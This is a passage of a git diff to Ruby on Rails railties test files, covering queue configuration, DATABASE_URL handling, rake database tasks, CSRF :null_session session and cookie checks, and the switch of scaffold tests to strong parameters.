+ test "config.session_store with :active_record_store without activerecord-session_store gem" do
+ assert_raise RuntimeError, /activerecord-session_store/ do
+ make_basic_app do |app|
+ app.config.session_store :active_record_store
+ end
+ end
+ end
end
end
diff --git a/railties/test/application/initializers/boot_test.rb b/railties/test/application/initializers/boot_test.rb
index 04c46058cb..7eda15894e 100644
--- a/railties/test/application/initializers/boot_test.rb
+++ b/railties/test/application/initializers/boot_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class GemBooting < ActiveSupport::TestCase
+ class BootTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index c2d4a0f2c8..5268257d62 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -50,6 +50,23 @@ module ApplicationTests
assert_equal "test.rails", ActionMailer::Base.default_url_options[:host]
end
+ test "uses the default queue for ActionMailer" do
+ require "#{app_path}/config/environment"
+ assert_kind_of ActiveSupport::QueueContainer, ActionMailer::Base.queue
+ end
+
+ test "allows me to configure queue for ActionMailer" do
+ app_file "config/environments/development.rb", <<-RUBY
+ AppTemplate::Application.configure do
+ Rails.queue[:mailer] = ActiveSupport::TestQueue.new
+ config.action_mailer.queue = Rails.queue[:mailer]
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_kind_of ActiveSupport::TestQueue, ActionMailer::Base.queue
+ end
+
test "does not include url helpers as action methods" do
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
@@ -163,26 +180,6 @@ module ApplicationTests
end
# AR
- test "database middleware doesn't initialize when session store is not active_record" do
- add_to_config <<-RUBY
- config.root = "#{app_path}"
- config.session_store :cookie_store, { :key => "blahblahblah" }
- RUBY
- require "#{app_path}/config/environment"
-
- assert !Rails.application.config.middleware.include?(ActiveRecord::SessionStore)
- end
-
- test "database middleware initializes when session store is active record" do
- add_to_config "config.session_store :active_record_store"
-
- require "#{app_path}/config/environment"
-
- expects = [ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActiveRecord::SessionStore]
- middleware = Rails.application.config.middleware.map { |m| m.klass }
- assert_equal expects, middleware & expects
- end
-
test "active_record extensions are applied to ActiveRecord" do
add_to_config "config.active_record.table_name_prefix = 'tbl_'"
require "#{app_path}/config/environment"
@@ -215,5 +212,37 @@ module ApplicationTests
assert !ActiveRecord::Base.connection.schema_cache.tables["posts"]
}
end
+
+ test "active record establish_connection uses Rails.env if DATABASE_URL is not set" do
+ begin
+ require "#{app_path}/config/environment"
+ orig_database_url = ENV.delete("DATABASE_URL")
+ orig_rails_env, Rails.env = Rails.env, 'development'
+ ActiveRecord::Base.establish_connection
+ assert ActiveRecord::Base.connection
+ assert_match /#{ActiveRecord::Base.configurations[Rails.env]['database']}/, ActiveRecord::Base.connection_config[:database]
+ ensure
+ ActiveRecord::Base.remove_connection
+ ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+ Rails.env = orig_rails_env if orig_rails_env
+ end
+ end
+
+ test "active record establish_connection uses DATABASE_URL even if Rails.env is set" do
+ begin
+ require "#{app_path}/config/environment"
+ orig_database_url = ENV.delete("DATABASE_URL")
+ orig_rails_env, Rails.env = Rails.env, 'development'
+ database_url_db_name = "db/database_url_db.sqlite3"
+ ENV["DATABASE_URL"] = "sqlite3://:@localhost/#{database_url_db_name}"
+ ActiveRecord::Base.establish_connection
+ assert ActiveRecord::Base.connection
+ assert_match /#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database]
+ ensure
+ ActiveRecord::Base.remove_connection
+ ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+ Rails.env = orig_rails_env if orig_rails_env
+ end
+ end
end
end
diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb
index 7b3e6844fd..b2cea0a8e1 100644
--- a/railties/test/application/initializers/hooks_test.rb
+++ b/railties/test/application/initializers/hooks_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class InitializersTest < ActiveSupport::TestCase
+ class HooksTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -20,11 +20,11 @@ module ApplicationTests
assert $foo
end
- test "hooks block works correctly without cache classes (before_eager_load is not called)" do
+ test "hooks block works correctly without eager_load (before_eager_load is not called)" do
add_to_config <<-RUBY
$initialization_callbacks = []
config.root = "#{app_path}"
- config.cache_classes = false
+ config.eager_load = false
config.before_configuration { $initialization_callbacks << 1 }
config.before_initialize { $initialization_callbacks << 2 }
config.before_eager_load { Boom }
@@ -35,11 +35,11 @@ module ApplicationTests
assert_equal [1,2,3], $initialization_callbacks
end
- test "hooks block works correctly with cache classes" do
+ test "hooks block works correctly with eager_load" do
add_to_config <<-RUBY
$initialization_callbacks = []
config.root = "#{app_path}"
- config.cache_classes = true
+ config.eager_load = true
config.before_configuration { $initialization_callbacks << 1 }
config.before_initialize { $initialization_callbacks << 2 }
config.before_eager_load { $initialization_callbacks << 3 }
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index e0286502f3..fcbc3c048c 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -20,7 +20,6 @@ class LoadingTest < ActiveSupport::TestCase
app_file "app/models/post.rb", <<-MODEL
class Post < ActiveRecord::Base
validates_acceptance_of :title, :accept => "omg"
- attr_accessible :title
end
MODEL
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index 54b18542c2..19d3f3a397 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class RoutingTest < ActiveSupport::TestCase
+ class CacheTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
index d1a614e181..42096cfec4 100644
--- a/railties/test/application/middleware/exceptions_test.rb
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -88,9 +88,6 @@ module ApplicationTests
end
test "displays diagnostics message when exception raised in template that contains UTF-8" do
- app.config.action_dispatch.show_exceptions = true
- app.config.consider_all_requests_local = true
-
controller :foo, <<-RUBY
class FooController < ActionController::Base
def index
@@ -98,18 +95,15 @@ module ApplicationTests
end
RUBY
+ app.config.action_dispatch.show_exceptions = true
+ app.config.consider_all_requests_local = true
+
app_file 'app/views/foo/index.html.erb', <<-ERB
<% raise 'boooom' %>
✓測試テスト시험
ERB
- app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
- post ':controller(/:action)'
- end
- RUBY
-
- post '/foo', :utf8 => '✓'
+ get '/foo', :utf8 => '✓'
assert_match(/boooom/, last_response.body)
assert_match(/測試テスト시험/, last_response.body)
end
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
index 066f0c1c84..9d97bae9ae 100644
--- a/railties/test/application/middleware/remote_ip_test.rb
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -4,20 +4,6 @@ module ApplicationTests
class RemoteIpTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
- def setup
- build_app
- boot_rails
- FileUtils.rm_rf "#{app_path}/config/environments"
- end
-
- def teardown
- teardown_app
- end
-
- def app
- @app ||= Rails.application
- end
-
def remote_ip(env = {})
remote_ip = nil
env = Rack::MockRequest.env_for("/").merge(env).merge!(
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
index 07134cc935..06dec81d40 100644
--- a/railties/test/application/middleware/session_test.rb
+++ b/railties/test/application/middleware/session_test.rb
@@ -46,5 +46,87 @@ module ApplicationTests
assert last_request.env["HTTP_COOKIE"]
assert !last_response.headers["Set-Cookie"]
end
+
+ test "session is empty and isn't saved on unverified request when using :null_session protect method" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ post ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ protect_from_forgery with: :null_session
+
+ def write_session
+ session[:foo] = 1
+ render nothing: true
+ end
+
+ def read_session
+ render text: session[:foo].inspect
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.action_controller.allow_forgery_protection = true
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_session'
+ get '/foo/read_session'
+ assert_equal '1', last_response.body
+
+ post '/foo/read_session' # Read session using POST request without CSRF token
+ assert_equal 'nil', last_response.body # Stored value shouldn't be accessible
+
+ post '/foo/write_session' # Write session using POST request without CSRF token
+ get '/foo/read_session' # Session shouldn't be changed
+ assert_equal '1', last_response.body
+ end
+
+ test "cookie jar is empty and isn't saved on unverified request when using :null_session protect method" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ post ':controller(/:action)'
+ end
+ RUBY
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ protect_from_forgery with: :null_session
+
+ def write_cookie
+ cookies[:foo] = '1'
+ render nothing: true
+ end
+
+ def read_cookie
+ render text: cookies[:foo].inspect
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.action_controller.allow_forgery_protection = true
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get '/foo/write_cookie'
+ get '/foo/read_cookie'
+ assert_equal '"1"', last_response.body
+
+ post '/foo/read_cookie' # Read cookie using POST request without CSRF token
+ assert_equal 'nil', last_response.body # Stored value shouldn't be accessible
+
+ post '/foo/write_cookie' # Write cookie using POST request without CSRF token
+ get '/foo/read_cookie' # Cookie shouldn't be changed
+ assert_equal '"1"', last_response.body
+ end
end
end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 9c9ed0cd6b..3e096e99f2 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -1,6 +1,4 @@
require 'isolation/abstract_unit'
-require 'stringio'
-require 'rack/test'
module ApplicationTests
class MiddlewareTest < ActiveSupport::TestCase
@@ -87,8 +85,8 @@ module ApplicationTests
assert !middleware.include?("ActiveRecord::QueryCache")
end
- test "removes lock if allow concurrency is set" do
- add_to_config "config.allow_concurrency = true"
+ test "removes lock if cache classes is set" do
+ add_to_config "config.cache_classes = true"
boot!
assert !middleware.include?("Rack::Lock")
end
diff --git a/railties/test/application/queue_test.rb b/railties/test/application/queue_test.rb
index 83ca981336..e67c6cc371 100644
--- a/railties/test/application/queue_test.rb
+++ b/railties/test/application/queue_test.rb
@@ -1,8 +1,7 @@
require 'isolation/abstract_unit'
-require 'rack/test'
module ApplicationTests
- class GeneratorsTest < ActiveSupport::TestCase
+ class QueueTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -20,14 +19,14 @@ module ApplicationTests
test "the queue is a TestQueue in test mode" do
app("test")
- assert_kind_of Rails::Queueing::TestQueue, Rails.application.queue[:default]
- assert_kind_of Rails::Queueing::TestQueue, Rails.queue[:default]
+ assert_kind_of ActiveSupport::TestQueue, Rails.application.queue[:default]
+ assert_kind_of ActiveSupport::TestQueue, Rails.queue[:default]
end
- test "the queue is a Queue in development mode" do
+ test "the queue is a SynchronousQueue in development mode" do
app("development")
- assert_kind_of Rails::Queueing::Queue, Rails.application.queue[:default]
- assert_kind_of Rails::Queueing::Queue, Rails.queue[:default]
+ assert_kind_of ActiveSupport::SynchronousQueue, Rails.application.queue[:default]
+ assert_kind_of ActiveSupport::SynchronousQueue, Rails.queue[:default]
end
class ThreadTrackingJob
@@ -48,7 +47,7 @@ module ApplicationTests
end
end
- test "in development mode, an enqueued job will be processed in a separate thread" do
+ test "in development mode, an enqueued job will be processed in the same thread" do
app("development")
job = ThreadTrackingJob.new
@@ -56,10 +55,10 @@ module ApplicationTests
sleep 0.1
assert job.ran?, "Expected job to be run"
- assert job.ran_in_different_thread?, "Expected job to run in a different thread"
+ refute job.ran_in_different_thread?, "Expected job to run in the same thread"
end
- test "in test mode, explicitly draining the queue will process it in a separate thread" do
+ test "in test mode, explicitly draining the queue will process it in the same thread" do
app("test")
Rails.queue.push ThreadTrackingJob.new
@@ -67,7 +66,7 @@ module ApplicationTests
Rails.queue.drain
assert job.ran?, "Expected job to be run"
- assert job.ran_in_different_thread?, "Expected job to run in a different thread"
+ refute job.ran_in_different_thread?, "Expected job to run in the same thread"
end
class IdentifiableJob
@@ -161,11 +160,12 @@ module ApplicationTests
test "a custom consumer implementation can be provided" do
add_to_env_config "production", <<-RUBY
require "my_queue_consumer"
+ config.queue = ActiveSupport::Queue
config.queue_consumer = MyQueueConsumer
RUBY
app_file "lib/my_queue_consumer.rb", <<-RUBY
- class MyQueueConsumer < Rails::Queueing::ThreadedConsumer
+ class MyQueueConsumer < ActiveSupport::ThreadedQueueConsumer
attr_reader :started
def start
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
index 2f5bd3a764..701843a6fd 100644
--- a/railties/test/application/rack/logger_test.rb
+++ b/railties/test/application/rack/logger_test.rb
@@ -23,31 +23,31 @@ module ApplicationTests
end
def logs
- @logs ||= @logger.logged(:info)
+ @logs ||= @logger.logged(:info).join("\n")
end
test "logger logs proper HTTP GET verb and path" do
get "/blah"
wait
- assert_match(/^Started GET "\/blah"/, logs[0])
+ assert_match 'Started GET "/blah"', logs
end
test "logger logs proper HTTP HEAD verb and path" do
head "/blah"
wait
- assert_match(/^Started HEAD "\/blah"/, logs[0])
+ assert_match 'Started HEAD "/blah"', logs
end
test "logger logs HTTP verb override" do
- post "/", {:_method => 'put'}
+ post "/", _method: 'put'
wait
- assert_match(/^Started PUT "\/"/, logs[0])
+ assert_match 'Started PUT "/"', logs
end
test "logger logs HEAD requests" do
- post "/", {:_method => 'head'}
+ post "/", _method: 'head'
wait
- assert_match(/^Started HEAD "\/"/, logs[0])
+ assert_match 'Started HEAD "/"', logs
end
end
end
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
new file mode 100644
index 0000000000..03798d572a
--- /dev/null
+++ b/railties/test/application/rake/dbs_test.rb
@@ -0,0 +1,181 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ module RakeTests
+ class RakeDbsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def database_url_db_name
+ "db/database_url_db.sqlite3"
+ end
+
+ def set_database_url
+ ENV['DATABASE_URL'] = "sqlite3://:@localhost/#{database_url_db_name}"
+ end
+
+ def expected
+ @expected ||= {}
+ end
+
+ def db_create_and_drop
+ Dir.chdir(app_path) do
+ output = `bundle exec rake db:create`
+ assert_equal output, ""
+ assert File.exists?(expected[:database])
+ assert_equal expected[:database],
+ ActiveRecord::Base.connection_config[:database]
+ output = `bundle exec rake db:drop`
+ assert_equal output, ""
+ assert !File.exists?(expected[:database])
+ end
+ end
+
+ test 'db:create and db:drop without database url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_create_and_drop
+ end
+
+ test 'db:create and db:drop with database url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_create_and_drop
+ end
+
+ def db_migrate_and_status
+ Dir.chdir(app_path) do
+ `rails generate model book title:string`
+ `bundle exec rake db:migrate`
+ output = `bundle exec rake db:migrate:status`
+ assert_match(/database:\s+\S+#{expected[:database]}/, output)
+ assert_match(/up\s+\d{14}\s+Create books/, output)
+ end
+ end
+
+ test 'db:migrate and db:migrate:status without database_url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_migrate_and_status
+ end
+
+ test 'db:migrate and db:migrate:status with database_url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_migrate_and_status
+ end
+
+ def db_schema_dump
+ Dir.chdir(app_path) do
+ `rails generate model book title:string`
+ `rake db:migrate`
+ `rake db:schema:dump`
+ schema_dump = File.read("db/schema.rb")
+ assert_match(/create_table \"books\"/, schema_dump)
+ end
+ end
+
+ test 'db:schema:dump without database_url' do
+ db_schema_dump
+ end
+
+ test 'db:schema:dump with database_url' do
+ set_database_url
+ db_schema_dump
+ end
+
+ def db_fixtures_load
+ Dir.chdir(app_path) do
+ `rails generate model book title:string`
+ `bundle exec rake db:migrate`
+ `bundle exec rake db:fixtures:load`
+ assert_match(/#{expected[:database]}/,
+ ActiveRecord::Base.connection_config[:database])
+ require "#{app_path}/app/models/book"
+ assert_equal 2, Book.count
+ end
+ end
+
+ test 'db:fixtures:load without database_url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_fixtures_load
+ end
+
+ test 'db:fixtures:load with database_url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_fixtures_load
+ end
+
+ def db_structure_dump_and_load
+ Dir.chdir(app_path) do
+ `rails generate model book title:string`
+ `bundle exec rake db:migrate`
+ `bundle exec rake db:structure:dump`
+ structure_dump = File.read("db/structure.sql")
+ assert_match(/CREATE TABLE \"books\"/, structure_dump)
+ `bundle exec rake db:drop`
+ `bundle exec rake db:structure:load`
+ assert_match(/#{expected[:database]}/,
+ ActiveRecord::Base.connection_config[:database])
+ require "#{app_path}/app/models/book"
+ #if structure is not loaded correctly, exception would be raised
+ assert Book.count, 0
+ end
+ end
+
+ test 'db:structure:dump and db:structure:load without database_url' do
+ require "#{app_path}/config/environment"
+ expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
+ db_structure_dump_and_load
+ end
+
+ test 'db:structure:dump and db:structure:load with database_url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ expected[:database] = database_url_db_name
+ db_structure_dump_and_load
+ end
+
+ def db_test_load_structure
+ Dir.chdir(app_path) do
+ `rails generate model book title:string`
+ `bundle exec rake db:migrate`
+ `bundle exec rake db:structure:dump`
+ `bundle exec rake db:test:load_structure`
+ ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+ ActiveRecord::Base.establish_connection 'test'
+ require "#{app_path}/app/models/book"
+ #if structure is not loaded correctly, exception would be raised
+ assert Book.count, 0
+ assert_match(/#{ActiveRecord::Base.configurations['test']['database']}/,
+ ActiveRecord::Base.connection_config[:database])
+ end
+ end
+
+ test 'db:test:load_structure without database_url' do
+ require "#{app_path}/config/environment"
+ db_test_load_structure
+ end
+
+ test 'db:test:load_structure with database_url' do
+ require "#{app_path}/config/environment"
+ set_database_url
+ db_test_load_structure
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index a450f90dbf..b05fe3aed5 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -55,6 +55,29 @@ module ApplicationTests
assert_match "Doing something...", output
end
+ def test_does_not_explode_when_accessing_a_model_with_eager_load
+ add_to_config <<-RUBY
+ config.eager_load = true
+
+ rake_tasks do
+ task :do_nothing => :environment do
+ Hello.new.world
+ end
+ end
+ RUBY
+
+ app_file "app/models/hello.rb", <<-RUBY
+ class Hello
+ def world
+ puts "Hello world"
+ end
+ end
+ RUBY
+
+ output = Dir.chdir(app_path){ `rake do_nothing` }
+ assert_match "Hello world", output
+ end
+
def test_code_statistics_sanity
assert_match "Code LOC: 5 Test LOC: 0 Code to Test Ratio: 1:0.0",
Dir.chdir(app_path){ `rake stats` }
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index c294bfb238..856a0e163b 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -1,6 +1,6 @@
require 'generators/generators_test_helper'
require 'rails/generators/rails/app/app_generator'
-require 'generators/shared_generator_tests.rb'
+require 'generators/shared_generator_tests'
DEFAULT_APP_FILES = %w(
.gitignore
@@ -212,7 +212,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
run_generator [destination_root, "--skip-active-record"]
assert_no_file "config/database.yml"
assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
- assert_file "config/application.rb", /#\s+config\.active_record\.whitelist_attributes = true/
assert_file "test/test_helper.rb" do |helper_content|
assert_no_match(/fixtures :all/, helper_content)
end
@@ -250,10 +249,10 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
def test_generator_if_skip_index_html_is_given
- run_generator [destination_root, "--skip-index-html"]
- assert_no_file "public/index.html"
- assert_no_file "app/assets/images/rails.png"
- assert_file "app/assets/images/.gitkeep"
+ run_generator [destination_root, '--skip-index-html']
+ assert_no_file 'public/index.html'
+ assert_no_file 'app/assets/images/rails.png'
+ assert_file 'app/assets/images/.keep'
end
def test_creation_of_a_test_directory
@@ -343,15 +342,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
- def test_generated_environments_file_for_sanitizer
- run_generator [destination_root, "--skip-active-record"]
- %w(development test).each do |env|
- assert_file "config/environments/#{env}.rb" do |file|
- assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file)
- end
- end
- end
-
def test_generated_environments_file_for_auto_explain
run_generator [destination_root, "--skip-active-record"]
%w(development production).each do |env|
@@ -361,11 +351,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
- def test_active_record_whitelist_attributes_is_present_application_config
- run_generator
- assert_file "config/application.rb", /config\.active_record\.whitelist_attributes = true/
- end
-
def test_pretend_option
output = run_generator [File.join(destination_root, "myapp"), "--pretend"]
assert_no_match(/run bundle install/, output)
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index 774038c0e1..15e5a0b92b 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -28,6 +28,13 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration]
assert_migration "db/migrate/change_title_body_from_posts.rb", /class #{migration} < ActiveRecord::Migration/
end
+
+ def test_migration_with_invalid_file_name
+ migration = "add_something:datetime"
+ assert_raise ActiveRecord::IllegalMigrationNameError do
+ run_generator [migration]
+ end
+ end
def test_add_migration_with_attributes
migration = "add_title_body_to_posts"
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index ec33bd7c6b..436de26826 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -328,14 +328,4 @@ class ModelGeneratorTest < Rails::Generators::TestCase
end
end
end
-
- def test_attr_accessible_added_with_non_reference_attributes
- run_generator
- assert_file 'app/models/account.rb', /attr_accessible :age, :name/
- end
-
- def test_attr_accessible_added_with_comments_when_no_attributes_present
- run_generator ["Account"]
- assert_file 'app/models/account.rb', /# attr_accessible :title, :body/
- end
end
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb
index 6c3e0178f2..dddbfa64b6 100644
--- a/railties/test/generators/plugin_new_generator_test.rb
+++ b/railties/test/generators/plugin_new_generator_test.rb
@@ -1,6 +1,6 @@
require 'generators/generators_test_helper'
require 'rails/generators/rails/plugin_new/plugin_new_generator'
-require 'generators/shared_generator_tests.rb'
+require 'generators/shared_generator_tests'
DEFAULT_PLUGIN_FILES = %w(
.gitignore
@@ -115,7 +115,13 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
end
def test_generation_runs_bundle_install_with_full_and_mountable
- result = run_generator [destination_root, "--mountable", "--full"]
+ result = run_generator [destination_root, "--mountable", "--full", "--dev"]
+ assert_file "#{destination_root}/Gemfile.lock" do |contents|
+ assert_match(/bukkits/, contents)
+ end
+ assert_match(/run bundle install/, result)
+ assert_match(/Using bukkits \(0\.0\.1\)/, result)
+ assert_match(/Your bundle is complete/, result)
assert_equal 1, result.scan("Your bundle is complete").size
end
@@ -394,4 +400,3 @@ protected
silence(:stdout){ generator.send(*args, &block) }
end
end
-
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 1eea50b0d9..aa09343346 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -33,14 +33,14 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
end
assert_instance_method :create, content do |m|
- assert_match(/@user = User\.new\(params\[:user\]\)/, m)
+ assert_match(/@user = User\.new\(user_params\)/, m)
assert_match(/@user\.save/, m)
assert_match(/@user\.errors/, m)
end
assert_instance_method :update, content do |m|
assert_match(/@user = User\.find\(params\[:id\]\)/, m)
- assert_match(/@user\.update_attributes\(params\[:user\]\)/, m)
+ assert_match(/@user\.update_attributes\(user_params\)/, m)
assert_match(/@user\.errors/, m)
end
@@ -48,6 +48,9 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
assert_match(/@user = User\.find\(params\[:id\]\)/, m)
assert_match(/@user\.destroy/, m)
end
+
+ assert_match(/def user_params/, content)
+ assert_match(/params\.require\(:user\)\.permit\(:name, :age\)/, content)
end
end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index 9b456c64ef..40c5188042 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -43,14 +43,14 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
end
assert_instance_method :create, content do |m|
- assert_match(/@product_line = ProductLine\.new\(params\[:product_line\]\)/, m)
+ assert_match(/@product_line = ProductLine\.new\(product_line_params\)/, m)
assert_match(/@product_line\.save/, m)
assert_match(/@product_line\.errors/, m)
end
assert_instance_method :update, content do |m|
assert_match(/@product_line = ProductLine\.find\(params\[:id\]\)/, m)
- assert_match(/@product_line\.update_attributes\(params\[:product_line\]\)/, m)
+ assert_match(/@product_line\.update_attributes\(product_line_params\)/, m)
assert_match(/@product_line\.errors/, m)
end
@@ -166,14 +166,14 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
end
assert_instance_method :create, content do |m|
- assert_match(/@admin_role = Admin::Role\.new\(params\[:admin_role\]\)/, m)
+ assert_match(/@admin_role = Admin::Role\.new\(admin_role_params\)/, m)
assert_match(/@admin_role\.save/, m)
assert_match(/@admin_role\.errors/, m)
end
assert_instance_method :update, content do |m|
assert_match(/@admin_role = Admin::Role\.find\(params\[:id\]\)/, m)
- assert_match(/@admin_role\.update_attributes\(params\[:admin_role\]\)/, m)
+ assert_match(/@admin_role\.update_attributes\(admin_role_params\)/, m)
assert_match(/@admin_role\.errors/, m)
end
diff --git a/railties/test/generators/session_migration_generator_test.rb b/railties/test/generators/session_migration_generator_test.rb
deleted file mode 100644
index b590047ff0..0000000000
--- a/railties/test/generators/session_migration_generator_test.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'generators/generators_test_helper'
-require 'rails/generators/rails/session_migration/session_migration_generator'
-
-class SessionMigrationGeneratorTest < Rails::Generators::TestCase
- include GeneratorsTestHelper
-
- def test_session_migration_with_default_name
- run_generator
- assert_migration "db/migrate/add_sessions_table.rb", /class AddSessionsTable < ActiveRecord::Migration/
- end
-
- def test_session_migration_with_given_name
- run_generator ["create_session_table"]
- assert_migration "db/migrate/create_session_table.rb", /class CreateSessionTable < ActiveRecord::Migration/
- end
-
- def test_session_migration_with_custom_table_name
- ActiveRecord::SessionStore::Session.table_name = "custom_table_name"
- run_generator
- assert_migration "db/migrate/add_sessions_table.rb" do |migration|
- assert_match(/class AddSessionsTable < ActiveRecord::Migration/, migration)
- assert_match(/create_table :custom_table_name/, migration)
- end
- ensure
- ActiveRecord::SessionStore::Session.table_name = "sessions"
- end
-end
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index e78e67725d..a4bdfcf438 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -127,6 +127,18 @@ module SharedGeneratorTests
# generated.
assert_file 'Gemfile'
end
+
+ def test_skip_git
+ run_generator [destination_root, '--skip-git', '--full']
+ assert_no_file('.gitignore')
+ assert_file('app/mailers/.keep')
+ end
+
+ def test_skip_keeps
+ run_generator [destination_root, '--skip-keeps', '--full']
+ assert_file('.gitignore')
+ assert_no_file('app/mailers/.keep')
+ end
end
module SharedCustomGeneratorTests
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 8f04692aef..0f36eb67e5 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -8,11 +8,10 @@
# Rails booted up.
require 'fileutils'
-require 'bundler/setup'
+require 'bundler/setup' unless defined?(Bundler)
require 'minitest/autorun'
require 'active_support/test_case'
-# TODO: Remove setting this magic constant
RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..")
# These files do not require any others and are needed
@@ -106,8 +105,9 @@ module TestHelpers
end
end
- unless options[:gemfile]
- File.delete"#{app_path}/Gemfile"
+ gemfile_path = "#{app_path}/Gemfile"
+ if options[:gemfile].blank? && File.exist?(gemfile_path)
+ File.delete gemfile_path
end
routes = File.read("#{app_path}/config/routes.rb")
@@ -118,6 +118,7 @@ module TestHelpers
end
add_to_config <<-RUBY
+ config.eager_load = false
config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
